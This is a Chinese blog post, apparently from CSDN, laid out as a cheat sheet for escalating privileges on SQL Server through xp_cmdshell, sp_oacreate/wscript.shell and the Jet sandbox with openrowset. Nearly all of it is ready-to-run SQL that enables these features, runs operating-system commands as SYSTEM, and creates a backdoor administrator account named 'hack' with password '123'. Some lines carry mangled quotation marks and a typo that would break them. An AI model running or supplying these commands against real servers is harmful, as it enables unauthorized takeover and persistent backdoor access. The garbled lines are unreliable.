sqlserver提权

1.xp_cmdshell提权

默认在sqlserver2000中开启,2005后默认禁止,使用sp_configure重新打开它

sa权限下 使用xp_cmdshell可以 以system权限执行操作系统命令。

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure

使用XP_CmdShell执行系统命令

#添加用户hack,密码123

exec master..xp_cmdshell 'net user hack 123 /add'   

#将hack用户添加到管理员组中

exec master..xp_cmdshell 'net localgroup administrators hack add'   

2.sp_oacrate提权

主要调用ole对象,利用ole对象的run方法执行系统命令

启用

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;

关闭

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;

执行命令

#添加用户hack,密码123

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user hack 123 /add'

#将hack用户添加到管理员组中

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators hack
/add'

#whoami 带回显 保存到c盘 1.txt中

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c whoami > c:\\1.txt'

3.sqlserver沙盒提权

–提权语句

exec sp_configure 'show advanced options',1;
reconfigure;

– 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

–关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

–查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

–执行系统命令
#添加用户hack

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user hack 123 /add")')

#添加hack到管理员组

select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators hack /add”)’)

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在access模式下

3:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

–恢复配置

exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,1;

exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;

exec sp_configure ‘show advanced options’,0;reconfigure;

参考

https://www.cnblogs.com/xishaonian/p/7421592.html
https://blog.51cto.com/u_11797152/2411770

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值